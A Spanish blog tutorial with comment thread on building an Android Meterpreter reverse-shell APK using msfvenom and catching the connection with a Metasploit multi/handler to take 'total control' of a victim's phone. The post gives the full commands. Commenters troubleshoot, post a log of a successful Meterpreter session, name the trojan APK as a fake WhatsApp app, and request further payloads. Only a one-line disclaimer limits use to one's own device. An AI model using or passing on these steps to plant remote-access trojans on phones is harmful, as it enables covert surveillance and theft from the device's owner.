14 feb 2017

Crear PAYLOAD para Android con Metasploit

En el tutorial de hoy os voy a enseñar como crear un Payload con la aplicación Metasploit integrada en Kali Linux ya que en la distro nos viene más completa que descargándola de Internet.

PAYLOAD
Un payload es un virus o malware que consiste en realizar una acción (normalmente maliciosa) en un dispositivo que esté conectado dentro de nuestra red o fuera de otra. El fin que tiene un payload es tener control total y remoto del dispositivo que se quiera interceptar en cuestión.

METASPLOIT
Metasploit es una herramienta de hacking y pentesting destinada a la explotación y tests de penetración de una manera sencilla. Esta herramienta es conocida por ser como una "navaja suiza" para los hackers y prácticamente todas las distribuciones de Linux lo traen.

¿COMO CREAMOS EL PAYLOAD?

1. Abrimos nuestro sistema operativo de seguridad preferido, luego la aplicación "Metasploit" y escribimos el comando"msfvenom -p android/meterpreter/reverse_tcp LHOST=xxxx LPORT=xxxx R > name.apk"



El comando se divide en varias partes que son:
  • msfvenom -> Es la aplicación donde desarrollamos el payload
  • -p -> Estamos indicando que vamos a realizar un payload
  • android/meterpreter/reverse_tcp -> Es el tipo de payload que necesitamos
  • LHOST -> Es la IP que usará la aplicación para comunicarse con nosotros. Si se va a hacer dentro de la red nuestra el valor es 192.168.1.1 pero si es fuera de nuestra red deberá ser nuestra IP Pública
  • LPORT -> Es el puerto donde se conectará nuestra aplicación. Si la red es interna yo uso el puerto 8080 pero si es en una red exterior deberemos abrir el puerto que deseemos
  • R > name.apk -> Es la ruta donde almacenaremos el payload y con que nombre. La ruta por defecto (cuando ponemos solo el nombre, es la carpeta personal o la de root).
2. Una vez hayamos introducido el payload en el móvil de nuestra víctima ponemos los siguientes comandos:
  • msfconsole ->Iniciamos la aplicación de monitoreo
  • use multi/handler
  • set PAYLOAD android/meterpreter/reverse_tcp -> Indicamos cual payload queremos detectar
  • set LHOST xxxx -> Indicamos la IP asignada al payload.
  • set LPORT xxxx -> Indicamos el puerto asignado al payload
  • exploit
Una vez llegados a este punto deberemos tener control total sobre el teléfono.

AVISO: Este tutorial debe ser usado con fines didácticos y en un dispositivo propio ya que sino es un delito de privacidad o en todo caso con el consentimiento del dueño del terminal.

43 comentarios:

  1. Respuestas
    1. Me alegro que te sirviera Gonzalo! Si descubres una nueva variante o forma de mejorar el tutorial no dudes en compartirla!
      Recuerda, Learn, Hack and Share!!!

      Eliminar
    2. hola amigo tengo un problema cuando igreso el use multi/handler
      en ves de que me salga msf>(handler)
      me aparece msf>(multi/handler)

      me podrias ayudar

      Eliminar
    3. la forma correcta es... use exploit/multi/handler

      Eliminar
  2. Q versiones de android sirve este exploit?

    ResponderEliminar
    Respuestas
    1. Normalmente la APK te va a servir para cualquier versión, ya desconozco en las más recientes, pero suele funcionar en cualquiera.

      Eliminar
  3. Veras he hecho todo los pasos tal cual. Mi problema es que al instalar el apk en mi celular obviamente el metaexploit solo se queda en: Started reverse TCP handler on xxxx.xxxx.xxxx.xxxx:8080 ya instale la app en mi celular y la abri y aun asi nada cual es el error????
    Por cierto estoy corriendo metaexploit en win10 y le he dado todos los permisos.

    ResponderEliminar
    Respuestas
    1. Buenas Francisco, siento tardar en responderte pero lo tengo complicado para responder a los comentarios. ¿Has probado a ejecutar cualquier comando una vez te salga el started? Si lo has hecho y sigue sin tirar comprueba tanto la conexión del PC como del celular. Sino ya me cuentas de nuevo y totalmente encantado te responderé

      Eliminar
    2. hola manuel yo he estoy en la misma situacion que francisco he intentado todo pero nada incluso instale el kali en otro pc y aun asi no funciona

      Eliminar
    3. Vamos por partes como dijo Jack el destripador, 1º ¿el Android está conectado a la misma red que el Windows 10 o Kali? Si es que si, comprobad el firewall de Windows o las IP tables de Linux, en caso contrario tenéis que configura la NAT en el Router y configurar la IP publica en el LHOSTS no una ip Privada.

      Eliminar
  4. Mejor utiliza un framework como Parrot OS Security o Kali Linux...en esos no da ningun problema, funciona a la perfeccion. Yo lo he ejecutado para android 6.0 y todo perfecto!!!

    ResponderEliminar
  5. Yo utilizo metasploit para windows e intento escribir tal y como indicas y dice que no reconoce el comando "msfvenom" ¿que crees que pueda ser?

    ResponderEliminar
    Respuestas
    1. Como dice Hector, usa mejor Parrot OS o Kali Linux, dado que los comandos indicados acá se usan en distribuciones Linux y no en Windows o macOS y seguramente te funcione.
      Si no quieres tener que bootear una imagen en un LiveCD o instalar el SO en tu equipo, puedes hacer como yo y usar una máquina virtual (Virtual Box con el adaptador de red en Modo Puente). Yo uso esto en Windows10 y va perfectamente.
      Luego para pasar el fichero crea una carpeta compartida entre la máquina anfitriona o la virtual o incluso una carpeta de red y lo mandas por ahí.

      Eliminar
  6. Buenas amigo. ....puedo generar un payload para http inyector allí.. ...podrías asesorarme porfavor ....gracias

    ResponderEliminar
    Respuestas
    1. Quiero un payload para HTTP injector alguien qué me quiera ayudar por favor

      Eliminar
  7. ls
    metasploit-framework metasploit.sh storage
    $ msfvenom -p androit/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > whatsaapplus.apk
    Error: Invalid Payload Selected
    "Hola amigo. Cual seria el error aqui..porque el mensaje de PAYLOAD INVALIDADO?
    GRACIAS

    ResponderEliminar
    Respuestas
    1. estas poniendo androit y es android
      msfvenom -p android/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4444 R > whatsaapplus.apk

      Eliminar
  8. mi moden tiene el puerto 4444 cerrado y no es un router el cual pueda abrirle ese puerto tengo que llamar a mi proveedor de internet para que lo abra o puedo apuntar al puerto 443 que es el de https ?

    ResponderEliminar
    Respuestas
    1. Si tienes un Modem, ¿solo tendrás un equipo conectado a ese modem verdad? Por lo que los puestos están abiertos a esa máquina, los módems lo que hacen es una DMZ al dispositivo que se conecta con ellos, por lo que el cierre de puestos se encarga el Sistema operativo anfitrión de tu PC y no el Modem, no obstante, para poder ayudarte mejor, no estaría de más que nos facilitaras Marca y Modelo del Modem, o Cable Modem. Feliz Año ;)

      Eliminar
  9. BOA TARDE!
    O MEU ANDROID ACUSA VIRUS, OQ FAZER

    ResponderEliminar
  10. Hola amigo y si por ejemplo, quiero volver a abrir la misma sesion en el mismo telefono que debo de hacer?

    ResponderEliminar
    Respuestas
    1. https://cesar.themudo.com/2015/07/no-perder-la-sesion-remota-de-linux/ echa un vistazo a ese articulo

      Eliminar
  11. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  12. Cuando le doy a enter para hacer el payload me aparecen cosas como estas.

    method instead.
    Traceback (most recent call last):
    29: from ./msfvenom:428:in `'
    28: from ./msfvenom:55:in `framework'
    27: from ./msfvenom:36:in `init_framework'
    26: from ./msfvenom:18:in `require_deps'
    25: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:54:in `require'
    24: from /data/data/com.termux/files/usr/lib/ruby/site_ruby/2.6.0/rubygems/core_ext/kernel_require.rb:54:in `require'
    23: from /data/data/com.termux/files/home/metasploit-framework/lib/msfenv.rb:18:in `'
    22: from /data/data/com.termux/files/home/metasploit-framework/lib/msfenv.rb:18:in `require'
    21: from /data/data/com.termux/files/home/metasploit-framework/config/environment.rb:2:in `'
    20: from /data/data/com.termux/files/home/metasploit-framework/config/environment.rb:2:in `require'
    19: from /data/data/com.termux/files/home/metasploit-framework/config/application.rb:1:in `'
    18: from /data/data/com.termux/files/home/metasploit-framework/config/application.rb:1:in `require'
    17: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/railties-4.2.11/lib/rails.rb:11:in `'
    16: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/railties-4.2.11/lib/rails.rb:11:in `require'
    15: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/railties-4.2.11/lib/rails/application.rb:7:in `'

    0/gems/railties-4.2.11/lib/rails/railtie.rb:2:in `require'
    9: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/railties-4.2.11/lib/rails/configuration.rb:2:in `'
    8: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/railties-4.2.11/lib/rails/configuration.rb:2:in `require'
    7: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object.rb:12:in `'
    6: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object.rb:12:in `require'
    5: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/json.rb:4:in `'
    4: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/object/json.rb:4:in `require'
    3: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/big_decimal/conversions.rb:2:in `'
    2: from /data/data/com.termux/files/usr/lib/ruby/gems/2.6.0/gems/activesupport-4.2.11/lib/active_support/core_ext/big_decimal/conversions.rb:2:in `require'
    1: from /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in `'
    /data/data/com.termux/files/usr/lib/ruby/2.6.0/bigdecimal/util.rb:9:in `require': dlopen failed: cannot locate symbol "rmpd_util_str_to_d" referenced by "/data/data/com.termux/files/usr/lib/ruby/2.6.0/arm-linux-androideabi/bigdecimal/util.so"... - /data/data/com.termux/files/usr/lib/ruby/2.6.0/arm-linux-androideabi/bigdecimal/util.so (LoadError)

    ResponderEliminar
    Respuestas
    1. Buenas!! Lamento la tardanza.
      Puede ser seguramente porque al realizarlo con un terminal móvil no funcione correctamente (supongo que es desde un terminal ya que se ve bastante el nombre del paquete de Termux). Prueba desde escritorio y me dices (o si lo solucionaste, avisa y lo subo con reconocimientos). Un saludo

      Eliminar
  13. Este comentario ha sido eliminado por un administrador del blog.

    ResponderEliminar
    Respuestas
    1. Muchas gracias, pero le ruego que borre el enlace a la venta de equipos si es posible dado que el blog no está orientado para eso.

      Eliminar
  14. Buenas noches te hago una consulta hago todo el proceso pero llego al
    final y me aparece lo sigiente
    [-]Handler failed to bind to 192.168.1.1:8080
    [*]Started reverse TCP handler on 0.0.0.0:8080
    que puedo hacer en este caso que me podria estar faltando amigo gracias
    y muy buen blog tenes saludos desde Argentina

    ResponderEliminar
    Respuestas
    1. Buenas!! Posiblemente tengas un problema con los puertos de tu equipo o de tu router y no puedas abrirlos correctamente. Prueba con Netcat o comprueba la configuración de lo firewalls si puedes. Además, si lo haces con máquina virtual puede derivar en error dado que aplica la configuración de puertos de la máquina anfitriona.

      En resumen. Comprueba puertos en equipo y enrutador y si no, prueba con netcad (creo que era así, no te puedo confirmar ahora).

      Saludos desde España y estoy atento a tu respuesta!!

      Eliminar
  15. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  16. root@ZioOn:~# msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.0.107 LPORT=8080 R> prototipo.apk
    [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
    [-] No arch selected, selecting arch: dalvik from the payload
    No encoder or badchars specified, outputting raw payload
    Payload size: 10092 bytes

    root@ZioOn:~# msfconsole

    ____________
    [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
    [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| $S`?a, |%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
    [%%%%%%%%%%%%%%%%%%%%__%%%%%%%%%%| `?a, |%%%%%%%%__%%%%%%%%%__%%__ %%%%]
    [% .--------..-----.| |_ .---.-.| .,a$%|.-----.| |.-----.|__|| |_ %%]
    [% | || -__|| _|| _ || ,,aS$""` || _ || || _ || || _|%%]
    [% |__|__|__||_____||____||___._||%$P"` || __||__||_____||__||____|%%]
    [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%| `"a, ||__|%%%%%%%%%%%%%%%%%%%%%%%%%%]
    [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%|____`"a,$$__|%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
    [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% `"$ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]
    [%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%]


    =[ metasploit v5.0.20-dev ]
    + -- --=[ 1886 exploits - 1066 auxiliary - 328 post ]
    + -- --=[ 546 payloads - 44 encoders - 10 nops ]
    + -- --=[ 2 evasion ]

    [*] Starting persistent handler(s)...
    msf5 > use exploit/multi/handler
    msf5 exploit(multi/handler) > set payload android/meterpreter/reverse_tcp
    payload => android/meterpreter/reverse_tcp
    msf5 exploit(multi/handler) > show options

    Module options (exploit/multi/handler):

    Name Current Setting Required Description
    ---- --------------- -------- -----------


    Payload options (android/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    LHOST yes The listen address (an interface may be specified)
    LPORT 4444 yes The listen port


    Exploit target:

    Id Name
    -- ----
    0 Wildcard Target


    msf5 exploit(multi/handler) > set LHOST 192.168.0.107
    LHOST => 192.168.0.107
    msf5 exploit(multi/handler) > set LPORT 8080
    LPORT => 8080
    msf5 exploit(multi/handler) > show options

    Module options (exploit/multi/handler):

    Name Current Setting Required Description
    ---- --------------- -------- -----------


    Payload options (android/meterpreter/reverse_tcp):

    Name Current Setting Required Description
    ---- --------------- -------- -----------
    LHOST 192.168.0.107 yes The listen address (an interface may be specified)
    LPORT 8080 yes The listen port


    Exploit target:

    Id Name
    -- ----
    0 Wildcard Target


    msf5 exploit(multi/handler) > exploit

    [*] Started reverse TCP handler on 192.168.0.107:8080
    [*] Sending stage (72198 bytes) to 192.168.0.106
    [*] Meterpreter session 1 opened (192.168.0.107:8080 -> 192.168.0.106:51882) at 2019-11-18 15:09:57 -0800

    meterpreter > Interrupt: use the 'exit' command to quit
    meterpreter >

    ResponderEliminar
    Respuestas
    1. Asi me funciono la comunicación, les recomiendo que usen ip fija, y que si les aparece started reverse TCP handler on xxxxxx solo instalen la apk, luego la abren y veran que de todas. Formas se conectara con el dispositivo

      Eliminar
  17. instalo la apk en mi cel y dice que no esta disponible para la version de android

    ResponderEliminar
  18. hola una pregunta es necesario abrir un puerto en el router porque no se como crear uno en vtr yo quiero hacer el payload y probarlo en mi celular

    ResponderEliminar
  19. yo tengo una duda ya que creo el troyano y todo pero nose porque cuando pongo exploit me sale startred reverse TCP on (ip):(puerto) pero no me sale nada mas y eso que la app ya esta instalada en el dispositivo, quieor decir que no da el ultimo paso para conectarse,
    si alguien sabe porque que me lo diga porfavor.
    Gracias.

    ResponderEliminar
  20. yo tengo una duda ya que creo el troyano y todo pero nose porque cuando pongo exploit me sale startred reverse TCP on (ip):(puerto) pero no me sale nada mas y eso que la app ya esta instalada en el dispositivo, quieor decir que no da el ultimo paso para conectarse,
    si alguien sabe porque que me lo diga porfavor.
    Gracias.

    ResponderEliminar
  21. Saludos
    Cree my payloat con termux pero no lo encuentro y ya e revisado el celular sólo me falta desarmarlo para ver si lo veo y no lo encuentro alguien me pude ayudar ya lo busque en com.termux y no hay nada

    ResponderEliminar
  22. hola, me dice esto [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
    [-] No arch selected, selecting arch: dalvik from the payload
    No encoder specified, outputting raw payload
    Payload size: 10189 bytes

    ResponderEliminar
  23. msfvenom -p android/meterpreter/reverse_tcp LHOST=200.100.11.72 LPORT=8080 R > name.apk
    :85:in `require': cannot load such file -- metasploit/framework/profiler (LoadError)
    from :85:in `require'
    from /data/data/com.termux/files/usr/bin/msfvenom:23:in `'

    Bro me podrias decir porque me tira ese error al ejecutar ese comando estoy usando termux

    ResponderEliminar
  24. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  25. Excelente muchas gracias, siempre es bueno tener a la mano las apks.
    saludos

    ResponderEliminar